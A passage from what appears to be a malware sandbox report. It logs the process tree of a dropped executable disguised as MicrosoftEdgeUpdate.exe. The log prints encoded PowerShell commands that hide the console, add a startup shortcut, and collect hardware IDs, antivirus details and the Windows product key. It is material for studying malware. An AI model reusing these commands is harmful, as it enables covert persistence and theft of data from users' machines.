ZwBlAFUAcABkAGEAdABlAC4AZQB4AGUAJwA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ADcAOwAkAHMALgBEAGUAcwBjAHIAaQBwAHQAaQBvAG4APQAnAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBlAHIAdgBpAGMAZQAnADsAJABzAC4AUwBhAHYAZQAoACkA
                                                                                                                                                3⤵
                                                                                                                                                • Drops startup file
                                                                                                                                                PID:4468
                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run""
                                                                                                                                              2⤵
                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                              PID:1332
                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
                                                                                                                                                3⤵
                                                                                                                                                  PID:2424
                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                                                                              1⤵
                                                                                                                                                PID:6288
                                                                                                                                              • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                1⤵
                                                                                                                                                  PID:5684
                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\MicrosoftEdgeUpdate\MicrosoftEdgeUpdate.exe
                                                                                                                                                  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\MicrosoftEdgeUpdate\MicrosoftEdgeUpdate.exe
                                                                                                                                                  1⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                  PID:1052
                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-Process | Select-Object -ExpandProperty Name) -join [char]10""
                                                                                                                                                    2⤵
                                                                                                                                                    • Hide Artifacts: Hidden Window
                                                                                                                                                    PID:3524
                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-Process | Select-Object -ExpandProperty Name) -join [char]10"
                                                                                                                                                      3⤵
                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                      PID:7144
                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABtAGUAbQBiAGUAcgAgAD0AIAAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFMAaABvAHcAVwBpAG4AZABvAHcAKABJAG4AdABQAHQAcgAgAGgAVwBuAGQALAAgAGkAbgB0ACAAbgBDAG0AZABTAGgAbwB3ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAJwA7ACQAdAB5AHAAZQAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAE0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAG0AZQBtAGIAZQByACAALQBOAGEAbQBlACAAVwBpAG4AMwAyAFMAaABvAHcAVwBpAG4AZABvAHcAIAAtAFAAYQBzAHMAVABoAHIAdQA7ACQAaAB3AG4AZAAgAD0AIAAkAHQAeQBwAGUAOgA6AEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAJAB0AHkAcABlADoAOgBTAGgAbwB3AFcAaQBuAGQAbwB3ACgAJABoAHcAbgBkACwAIAAwACkA"
                                                                                                                                                    2⤵
                                                                                                                                                      PID:6516
                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                        powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABtAGUAbQBiAGUAcgAgAD0AIAAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFMAaABvAHcAVwBpAG4AZABvAHcAKABJAG4AdABQAHQAcgAgAGgAVwBuAGQALAAgAGkAbgB0ACAAbgBDAG0AZABTAGgAbwB3ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAJwA7ACQAdAB5AHAAZQAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAE0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAG0AZQBtAGIAZQByACAALQBOAGEAbQBlACAAVwBpAG4AMwAyAFMAaABvAHcAVwBpAG4AZABvAHcAIAAtAFAAYQBzAHMAVABoAHIAdQA7ACQAaAB3AG4AZAAgAD0AIAAkAHQAeQBwAGUAOgA6AEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAJAB0AHkAcABlADoAOgBTAGgAbwB3AFcAaQBuAGQAbwB3ACgAJABoAHcAbgBkACwAIAAwACkA
                                                                                                                                                        3⤵
                                                                                                                                                          PID:3492
                                                                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                                            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\y0tdlvc1\y0tdlvc1.cmdline"
                                                                                                                                                            4⤵
                                                                                                                                                              PID:1184
                                                                                                                                                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                                                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF553.tmp" "c:\Users\Admin\AppData\Local\Temp\y0tdlvc1\CSCACD8BABEB5F14A18A93697169BF176E7.TMP"
                                                                                                                                                                5⤵
                                                                                                                                                                  PID:5660
                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "net session"
                                                                                                                                                            2⤵
                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                            PID:2352
                                                                                                                                                            • C:\Windows\system32\net.exe
                                                                                                                                                              net session
                                                                                                                                                              3⤵
                                                                                                                                                                PID:3320
                                                                                                                                                                • C:\Windows\system32\net1.exe
                                                                                                                                                                  C:\Windows\system32\net1 session
                                                                                                                                                                  4⤵
                                                                                                                                                                    PID:4688
                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAE8AdQB0AHAAdQB0ACAAPQAgAEAAewB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAEcAUABVACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwAQwBsAGEAcwBzAFwAewA0AGQAMwA2AGUAOQA2ADgALQBlADMAMgA1AC0AMQAxAGMAZQAtAGIAZgBjADEALQAwADgAMAAwADIAYgBlADEAMAAzADEAOAB9AFwAMAAwADAAMAAnACAALQBOAGEAbQBlACAARAByAGkAdgBlAHIARABlAHMAYwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4ARAByAGkAdgBlAHIARABlAHMAYwAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAE8AdQB0AHAAdQB0AC4ARwBQAFUAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAgACQATwB1AHQAcAB1AHQALgBHAFAAVQAgAD0AIAAoAEcAZQB0AC0AQwBpAG0ASQBuAHMAdABhAG4AYwBlACAAVwBpAG4AMwAyAF8AVgBpAGQAZQBvAEMAbwBuAHQAcgBvAGwAbABlAHIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQApAC4ATgBhAG0AZQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgB9AAoAdAByAHkAIAB7AAoAIAAgACAAIAAkAGQAcgBpAHYAZQAgAD0AIABHAGUAdAAtAFAAUwBEAHIAaQB2AGUAIABDACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAkAE8AdQB0AHAAdQB0AC4ARABpAHMAawBGAHIAZQBlACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAGQAcgBpAHYAZQAuAEYAcgBlAGUAIAAvACAAMQBHAEIALAAgADIAKQAKACAAIAAgACAAJABPAHUAdABwAHUAdAAuAEQAaQBzAGsAVABvAHQAYQBsACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAoACQAZAByAGkAdgBlAC4AVQBzAGUAZAAgACsAIAAkAGQAcgBpAHYAZQAuAEYAcgBlAGUAKQAgAC8AIAAxAEcAQgAsACAAMgApAAoAfQAgAGMAYQB0AGMAaAAgAHsAfQAKAHQAcgB5ACAAewAgACQATwB1AHQAcAB1AHQALgBIAFcASQBEACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwASQBEAEMAbwBuAGYAaQBnAEQAQgBcAEgAYQByAGQAdwBhAHIAZQAgAFAAcgBvAGYAaQBsAGUAcwBcADAAMAAwADEAJwAgAC0ATgBhAG0AZQAgAEgAdwBQAHIAbwBmAGkAbABlAEcAdQBpAGQAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAEgAdwBQAHIAbwBmAGkAbABlAEcAdQBpAGQAIAB9ACAAYwBhAHQAYwBoACAAewB9AAoAaQBmACAAKAAtAG4AbwB0ACAAJABPAHUAdABwAHUAdAAuAEgAVwBJAEQAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAgACQATwB1AHQAcAB1AHQALgBIAFcASQBEACAAPQAgACgARwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBDAG8AbQBwAHUAdABlAHIAUwB5AHMAdABlAG0AUAByAG8AZAB1AGMAdAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AVQBVAEkARAAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAFUAQQBDACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpAGUAcwBcAFMAeQBzAHQAZQBtACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBFAG4AYQBiAGwAZQBMAFUAQQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgB0AHIAeQAgAHsAIAAkAE8AdQB0AHAAdQB0AC4ARgBpAHIAZQB3AGEAbABsACAAPQAgACgARwBlAHQALQBOAGUAdABGAGkAcgBlAHcAYQBsAGwAUAByAG8AZgBpAGwAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgBFAG4AYQBiAGwAZQBkACAALQBlAHEAIAAkAHQAcgB1AGUAIAB9ACAAfAAgAE0AZQBhAHMAdQByAGUALQBPAGIAagBlAGMAdAApAC4AQwBvAHUAbgB0ACAALQBnAHQAIAAwACAAfQAgAGMAYQB0AGMAaAAgAHsAfQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABhAHYAIAA9ACAARwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIAAtAE4AYQBtAGUAcwBwAGEAYwBlACAAcgBvAG8AdAAvAFMAZQBjAHUAcgBpAHQAeQBDAGUAbgB0AGUAcgAyACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAEEAbgB0AGkAVgBpAHIAdQBzAFAAcgBvAGQAdQBjAHQAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgAGkAZgAgACgAJABhAHYAKQAgAHsAIAAkAE8AdQB0AHAAdQB0AC4ARABlAGYAZQBuAGQAZQByACAAPQAgACgAJABhAHYAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAGQAaQBzAHAAbABhAHkATgBhAG0AZQAgAH0AKQAgAC0AagBvAGkAbgAgACIALAAgACIAIAB9AAoAfQAgAGMAYQB0AGMAaAAgAHsAfQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFMAbwBmAHQAdwBhAHIAZQBQAHIAbwB0AGUAYwB0AGkAbwBuAFAAbABhAHQAZgBvAHIAbQAnACAALQBOAGEAbQBlACAAQgBhAGMAawB1AHAAUAByAG8AZAB1AGMAdABLAGUAeQBEAGUAZgBhAHUAbAB0ACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBCAGEAYwBrAHUAcABQAHIAbwBkAHUAYwB0AEsAZQB5AEQAZQBmAGEAdQBsAHQACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAawBlAHkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAJABrAGUAeQAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEQAZQBmAGEAdQBsAHQAUAByAG8AZAB1AGMAdABLAGUAeQAnACAALQBOAGEAbQBlACAAUAByAG8AZAB1AGMAdABJAGQAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFAAcgBvAGQAdQBjAHQASQBkAAoAIAAgACAAIAB9AAoAIAAgACAAIAAkAE8AdQB0AHAAdQB0AC4AVwBpAG4ASwBlAHkAIAA9ACAAJABrAGUAeQAKAH0AIABjAGEAdABjAGgAIAB7AH0ACgAkAE8AdQB0AHAAdQB0ACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgAKAA=="
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:4420
                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:1936
                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAE8AdQB0AHAAdQB0ACAAPQAgAEAAewB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAEcAUABVACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwAQwBsAGEAcwBzAFwAewA0AGQAMwA2AGUAOQA2ADgALQBlADMAMgA1AC0AMQAxAGMAZQAtAGIAZgBjADEALQAwADgAMAAwADIAYgBlADEAMAAzADEAOAB9AFwAMAAwADAAMAAnACAALQBOAGEAbQBlACAARAByAGkAdgBlAHIARABlAHMAYwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4ARAByAGkAdgBlAHIARABlAHMAYwAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAE8AdQB0AHAAdQB0AC4ARwBQAFUAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAgACQATwB1AHQAcAB1AHQALgBHAFAAVQAgAD0AIAAoAEcAZQB0AC0AQwBpAG0ASQBuAHMAdABhAG4AYwBlACAAVwBpAG4AMwAyAF8AVgBpAGQAZQBvAEMAbwBuAHQAcgBvAGwAbABlAHIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQApAC4ATgBhAG0AZQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgB9AAoAdAByAHkAIAB7AAoAIAAgACAAIAAkAGQAcgBpAHYAZQAgAD0AIABHAGUAdAAtAFAAUwBEAHIAaQB2AGUAIABDACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAkAE8AdQB0AHAAdQB0AC4ARABpAHMAawBGAHIAZQBlACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAGQAcgBpAHYAZQAuAEYAcgBlAGUAIAAvACAAMQBHAEIALAAgADIAKQAKACAAIAAgACAAJABPAHUAdABwAHUAdAAuAEQAaQBzAGsAVABvAHQAYQBsACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAoACQAZAByAGkAdgBlAC4AVQBzAGUAZAAgACsAIAAkAGQAcgBpAHYAZQAuAEYAcgBlAGUAKQAgAC8AIAAxAEcAQgAsACAAMgApAAoAfQAgAGMAYQB0AGMAaAAgAHsAfQAKAHQAcgB5ACAAewAgACQATwB1AHQAcAB1AHQALgBIAFcASQBEACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwASQBEAEMAbwBuAGYAaQBnAEQAQgBcAEgAYQByAGQAdwBhAHIAZQAgAFAAcgBvAGYAaQBsAGUAcwBcADAAMAAwADEAJwAgAC0ATgBhAG0AZQAgAEgAdwBQAHIAbwBmAGkAbABlAEcAdQBpAGQAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAEgAdwBQAHIAbwBmAGkAbABlAEcAdQBpAGQAIAB9ACAAYwBhAHQAYwBoACAAewB9AAoAaQBmACAAKAAtAG4AbwB0ACAAJABPAHUAdABwAHUAdAAuAEgAVwBJAEQAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAgACQATwB1AHQAcAB1AHQALgBIAFcASQBEACAAPQAgACgARwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBDAG8AbQBwAHUAdABlAHIAUwB5AHMAdABlAG0AUAByAG8AZAB1AGMAdAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AVQBVAEkARAAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAFUAQQBDACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpAGUAcwBcAFMAeQBzAHQAZQBtACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBFAG4AYQBiAGwAZQBMAFUAQQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgB0AHIAeQAgAHsAIAAkAE8AdQB0AHAAdQB0AC4ARgBpAHIAZQB3AGEAbABsACAAPQAgACgARwBlAHQALQBOAGUAdABGAGkAcgBlAHcAYQBsAGwAUAByAG8AZgBpAGwAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgBFAG4AYQBiAGwAZQBkACAALQBlAHEAIAAkAHQAcgB1AGUAIAB9ACAAfAAgAE0AZQBhAHMAdQByAGUALQBPAGIAagBlAGMAdAApAC4AQwBvAHUAbgB0ACAALQBnAHQAIAAwACAAfQAgAGMAYQB0AGMAaAAgAHsAfQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABhAHYAIAA9ACAARwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIAAtAE4AYQBtAGUAcwBwAGEAYwBlACAAcgBvAG8AdAAvAFMAZQBjAHUAcgBpAHQAeQBDAGUAbgB0AGUAcgAyACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAEEAbgB0AGkAVgBpAHIAdQBzAFAAcgBvAGQAdQBjAHQAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgAGkAZgAgACgAJABhAHYAKQAgAHsAIAAkAE8AdQB0AHAAdQB0AC4ARABlAGYAZQBuAGQAZQByACAAPQAgACgAJABhAHYAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAGQAaQBzAHAAbABhAHkATgBhAG0AZQAgAH0AKQAgAC0AagBvAGkAbgAgACIALAAgACIAIAB9AAoAfQAgAGMAYQB0AGMAaAAgAHsAfQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFMAbwBmAHQAdwBhAHIAZQBQAHIAbwB0AGUAYwB0AGkAbwBuAFAAbABhAHQAZgBvAHIAbQAnACAALQBOAGEAbQBlACAAQgBhAGMAawB1AHAAUAByAG8AZAB1AGMAdABLAGUAeQBEAGUAZgBhAHUAbAB0ACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBCAGEAYwBrAHUAcABQAHIAbwBkAHUAYwB0AEsAZQB5AEQAZQBmAGEAdQBsAHQACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAawBlAHkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAJABrAGUAeQAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEQAZQBmAGEAdQBsAHQAUAByAG8AZAB1AGMAdABLAGUAeQAnACAALQBOAGEAbQBlACAAUAByAG8AZAB1AGMAdABJAGQAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFAAcgBvAGQAdQBjAHQASQBkAAoAIAAgACAAIAB9AAoAIAAgACAAIAAkAE8AdQB0AHAAdQB0AC4AVwBpAG4ASwBlAHkAIAA9ACAAJABrAGUAeQAKAH0AIABjAGEAdABjAGgAIAB7AH0ACgAkAE8AdQB0AHAAdQB0ACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgAKAA==
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:3436
                                                                                                                                                                    • C:\Windows\system32\cmd.exe
